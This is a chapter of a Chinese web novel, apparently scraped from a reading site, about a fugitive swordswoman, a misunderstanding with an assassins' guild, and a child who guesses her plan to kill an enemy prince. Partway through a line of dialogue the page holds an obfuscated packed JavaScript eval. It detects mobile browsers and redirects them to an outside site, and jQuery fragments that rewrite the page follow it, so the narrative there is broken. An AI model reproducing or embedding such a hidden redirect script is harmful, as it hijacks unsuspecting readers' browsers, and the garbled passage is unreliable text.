默认冷灰
24号文字
方正启体

3. 陆少侠没杀人,为什么不说呢?

作者:海山河本书字数:K更新时间:
    冷水泼在脸上。


    有双孩子的手在陆衔蝉脸上胡乱划拉,用袖子擦拭水渍,奶馊奶臭的。


    陆衔蝉紧蹙眉头,喃喃出声:“别擦了,一股味…”


    她意识回笼,映入眼帘的是三个凑在一块的脑袋瓜,两个姑娘并一个孩子,看见陆衔蝉睁眼,脑袋瓜们齐刷刷后仰。


    陆衔蝉被太阳光晃得一缩,她将手臂放在眼前挡光,反复眨眼,才在光影中重新聚焦。


    天亮了。


    这里大概是某处私宅地牢。


    牢房很大,左侧墙上挂着不少行刑工具,血迹斑斑,似乎不久前才被用过,正中间摆着十字刑架,锁链散在地上。


    陆衔蝉身下垫了一蓝一黑两件外袍,正对应面前两个姑娘。


    她右手边墙上有扇小小的窗,阳光正是从这里撒进牢房,恍了她的眼睛。


    头顶小孩讪讪把手放下。


    “你方才嚷着渴,我好心给你喂水,也不知怎的…嘿,就洒了,我绝对不是故意的哈哈哈哈。”


    小孩肉嘟嘟,脸颊婴儿肥尚在,衣裳料子不错,身上也还算干净,就是袖口脏兮兮,疑似是口水印儿。


    这是昨日扎她脖颈的臭小鬼…她绝对是故意的。


    陆衔蝉爬起,捂着肚子倚在十字架边,她嫌弃地抹了把脸,手在木头上隐晦蹭蹭。


    “我以为我会在这种架子上醒过来。”


    浑身都在痛,没有用刑痕迹,但前襟有干涸水痕,脖颈发木,胳膊酸、麻、胀,动作时手腕上有轻微刺痛,撸开袖子,果然左右各一圈血痕。


    黑衣姑娘拔开瓷瓶塞子,哗哗往陆衔蝉伤口上倒药粉,她大大咧咧道:“擦破点皮,来,上点药,这点小伤两天就好了…”


    “误会!”


    蓝衣姑娘一个肘击打断黑衣姑娘,她双手交握在胸口,满脸歉意:“昨日都是误会!”


    “那个…陆少侠没杀人,当时为什么不说呢?”


    此人脖颈间有血痂,仔细辨认,似乎就是林间被她断刀的女杀手。她的意思是,若陆衔蝉提前说了没杀人,便不会有误会。


    什么误会…


    误会那小将军死了?


    她果然没有赌错,根本就没有什么栽赃嫁祸,那小将军和天命阁杀手是一伙儿的。


    陆衔蝉垂眸思索。


    昨日天寒地冻,天命阁众人怕他出事,来山里寻他,他们循着火光找到山洞,却看见‘逃犯’独自钻出,以为他追击失败,被‘逃犯’所杀。


    那胡说八道的射箭姑娘三言两语将陆衔蝉带偏,让她以为天命阁要杀人嫁祸。


    一番打斗后,陆衔蝉被面前小孩扎晕,他们泼水唤醒失败,不可能蹲在雪地里等她醒,只能先行把她丢进牢房锁着,剩下的人继续去搜山。


    搜到今日,方才!


    看到那小将军自己回来,天命阁发现闹了这么一出乌龙,才把她从十字刑架上放下来。


    虽早有预料,但陆衔蝉还是觉得胃直抽抽。


    更疼了。


    小孩眼珠子滴溜溜地转:“别装了,阿姐的刀被你连根断,你肚子又没受伤,总捂肚子干嘛?”


    她背着手大方道:“阿姐都说了是误会,我们现在不会杀你,也不会打你了。”


    “装你大爷”,陆衔蝉连连白眼,捂得更用力。


    “我饿。”


    “……”,“……”,“……”。


    *


    天命阁包下了县城最大的酒楼。


    雅间搬来个大桌子,摆满了各式各样的菜,掌柜笑得露了牙花子,他亲自上阵迎客,点头哈腰学走了陆衔蝉好些菜谱。


    两个姑娘已经落座,小孩闲不住,在地上来回溜达。


    “八宝鸭、红烧鱼、小酥肉、炙羊腿、烧乳鸽…”。


    小孩清点桌上菜品,噔噔噔跑到蓝衣姑娘身边,扒着她的耳朵大声蛐蛐:“阿姐,二十六道菜了,她是猪吗…”


    “小丫头,你这般大声,当我聋吗?”


    陆衔蝉吃得不紧不慢:“我一介逃犯,不值得天命阁这么守着,耍刀的,射箭的,你们不就是想给那砍柴的解毒吗?我给他解。”


    她敲敲桌子:“簪子还我。”


    对面两个姑娘对视一眼,面露难色。


    “别告诉我,你们把簪子丢了。”


    陆衔蝉没好气道:“那簪子里有解药,休怪我没提醒你们,若那砍柴的三天之内不服下解药,必死无疑。”


    “丢倒是没丢,他们给送人了”,小丫头抓了块薏米糕往嘴里塞。


    她顶着张婴儿肥的脸,矫揉造作地捧着薏米糕:“这这这!这是什么?!这莫非是‘机关匠’的机栝!制作精良!千金难求!万金难买!”


    “我要我要我要!”


    陆衔蝉拧眉闭眼捏鼻梁:“那东西已然无用,你们拿到之后砸开就是。”


    “此番闹剧当我倒霉,这顿饭之后,天命阁与我…就此两清!”


    椅子划拉在地板上,发出刺耳的嘎吱声。


    陆衔蝉抱拳转身,袍摆在半空划出弧线。


    小姑娘跳下椅子,拼命扯住陆衔蝉的胳膊,往自己怀里扥:“欸!你还不能走!副阁主叔叔有话要跟你说!”


    陆衔蝉抬手,小小一只在胳膊上挂着,悠悠荡荡。


    “你是想跟我走吗?小鬼?”


    蓝衣姑娘轻咳两声:“阿凌说的不错,陆少侠,天命阁有桩生意,不知道您感兴趣否?”


    陆衔蝉挑眉,她调侃道:“姑娘是副阁主…叔叔?”


    黑衣姑娘目瞪口呆,她左看看右看看,喃喃自语道:“江湖上有人说过‘机关匠’睁眼瞎的事儿吗?是不是昨日被阿凌扎坏了脑子…”


    两句话功夫,这厮又造了个谣出来。


    陆衔蝉额头青筋瞬时暴起,她的拳头砸在桌上,震得茶盘碗筷浪涌般齐刷刷一蹦:“你闭嘴,射箭的臭小鬼!我早就看你不顺眼了,再说话我掐死你!”


    昨日种种,全赖这厮。


    一顿饭果然不足以消减她心头之愤。


    黑衣姑娘也是个暴脾气,她抓着长箭欲起,被身侧的蓝衣姑娘死死压住,嘴上仍不服气:“来啊!打一架!看看是我先扎死你,还是你先掐死我!”


    “打就打!”


    陆衔蝉怒道:“我就纳闷了,你看过多少话本子?啊?!张口闭口就是情节!”


    “合着天命阁的嘴都长你身上了是吧!”


    “就显你叭叭叭叭会说话!”


    小姑娘阿凌搂住陆衔蝉的腿,整个人攀在上头:“山君姐姐息怒!阿巍姐姐只是脑子不灵光、嘴碎脾气臭,她人不坏的!”


    腿上热乎乎,陆衔蝉不敢再动,怕伤到小孩。


    “小丫头莫要攀交情”,她别开头坐回椅子,闷声闷气:“我跟你不熟。”


    嘴上虽犟,陆衔蝉却不得不承认,这小丫头招数有效,一句‘姐姐’叫得她心花怒放。


    还有那一番振聋发聩的骂人话。


    ‘好想找纸笔记下来…’


    阿凌从桌子下爬出,肉乎乎的小手握住陆衔蝉两根手指轻轻捏捏,她看对面的黑衣姑娘,小大人般叹息。


    那姑娘正被蓝衣姑娘死死捂住嘴,呜呜出声,光看眼神,便知她骂得很脏。


    “阿巍姐姐也不要生气了。”


    “山君姐…陆大侠是听了阿凌的话,才调侃阿姐是副阁主叔叔的,她骂的是昨日的你,当时若是好好解释…咳。”


    小孩咳嗽一声,生硬地转移话题:“你忘了,山君姐…陆大侠眼睛漂亮又好使!”


    阿凌拉着陆衔蝉的手,眉飞色舞地比划:“昨夜你的弓箭凌厉至极,天色暗,阿凌什么都看不见,山君姐…陆大侠两根手指头就夹住了!”


    “‘嗖——叭!’,就夹住了!”


    小孩眼神亮亮:“山君姐…陆大侠不瞎的。”


    最后这句大可不必。


    这孩子总是在招人喜欢和惹人讨厌之间反复横跳。


    陆衔蝉提着阿凌的后脖领子,把她轻轻放在身侧椅子上,往她嘴里塞一块炙羊肉。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499409|185988||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你们副阁主什么时候到?”


    阿凌嘴里叼着肉,呜呜出声:“山君姐…陆大侠忘了,副阁主叔叔被你迷倒了,现在还昏迷不醒呢…”


    吃都堵不住她的嘴!


    想起昨日的黑脸樵夫,陆衔蝉脸色发青,她拿起帕子给小孩擦去脸颊油污,认真教导道:“小丫头,此处应该用毒倒、药倒。”


    “知道了!”


    小孩补充道:“山君姐…陆大侠。”


    这小丫头没完了吗?!


    陆衔蝉眼前一黑又一黑,她崩溃妥协:“随你!随你!随你怎么叫!”


    “好耶!”


    阿凌举着炙羊腿欢呼:“山君姐姐也可以叫我阿凌!”


    “阿凌淘气,陆少侠多担待”,蓝衣姑娘把满嘴油花的阿凌塞进黑衣姑娘怀里,将二人推出雅间:“你们先出去,出去出去。”


    她肩膀一沉,似乎是松了口气。


    蓝衣姑娘面上扬起优雅微笑,柔荑素手为陆衔蝉提壶续茶,她柔声道:“您不必忧心我越权被罚,副阁主昏迷不醒,我身为天命阁雍州部首领,亦有权主事。”


    “没想到姑娘还是个话事人,是我多事了。”


    “陆少侠好心,我自然感激不尽。”


    蓝衣姑娘轻拍陆衔蝉肩膀,话锋一转:“陆少侠如今身份,行事多有不便,天命阁想请您帮忙做一件事,事后,打劫朝廷命官巨额钱财的事…”


    “我们帮您平。”


    陆衔蝉身子靠上椅背,她泰然自若道:“身份,姑娘是指逃犯之身吗?”


    她嗤笑:“若不是昨日‘误会纠葛’,还有那小丫头使诈,你们天命阁也抓不到我,再说这…逃犯之身,于我并无影响。”


    “至于帮你们天命阁做事,恐怕这事不是一时半会儿能完成。


    陆衔蝉把桌上茶杯前推,起身欲走:“在下尚有要事在身,时间紧迫,恕难从命。”


    蓝衣姑娘将茶杯丢向地面。


    清脆碎响后,头顶瓦片碰撞,楼下杀手驻足,酒楼周边寂静无声。


    “陆少侠的要事,是去刺杀戎人二王子吗?”


    蓝衣姑娘双手按住陆衔蝉肩膀:“若是如此,恐怕你今日出不了这酒楼。”


    天命阁杀手组织,为何要护着戎贼?


    莫非他们被戎贼收买了…吗?


    陆衔蝉一直挂在脸上的笑终于消失不见,她左手隐在袖中,杀意溢散:“姑娘这是什么意思?”


    屋内气氛剑拔弩张。


    阿凌声音自门外传来:“山君姐姐是雍州遗孤,戎人二王子是八年前雍州血屠的罪魁祸首,你要杀他这一点并不难猜。”


    “你父母必定有一方或双方皆是雍州将士,所以你也对此心存向往。”


    “你年少时为边关制造弩机,协助雍州卫攻城破敌,却不曾想这机关术反倒成了你参军入伍的阻碍,雍州卫发了明文,不许匠人入伍。”


    “机关匠乃昭国兵器匠人之首,更要加以保护。”


    “天命阁派人去过武林盟,经调查,负责此事的柴前辈,曾以无真传弟子为由,拒绝过你数次。”


    “山君姐姐报国无门,因此故意在大庭广众之下打劫官员巨额钱财,想以犯人之身流放充军。”


    “你成功了,可戎人降了。”


    “这时你意识到,即使到了雍州顺利参军入伍,也不过是空守城池。”


    “逃离押送队伍时,你已经下定决心要去刺杀戎人,这时你遇见了二兄,你分明有能力逃脱追踪,可你却故意引他去深山,迷晕他后又离开。”


    “二兄腰带上多了一个孔,但并不是他胖了,是你!”


    阿凌如同解开难题般兴奋:“你是为了偷偷试二兄那身盔甲!那是你的执念!”


    “方才你说:‘逃犯之身,并无影响’,是因为此行本就九死一生,即使活下来也是逃犯,两国逃犯。”


    “不不不不不…你原本便没打算活!”


    “你想死!”


    阿凌笃定道:“你恨自己没死在八年前的雍州!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)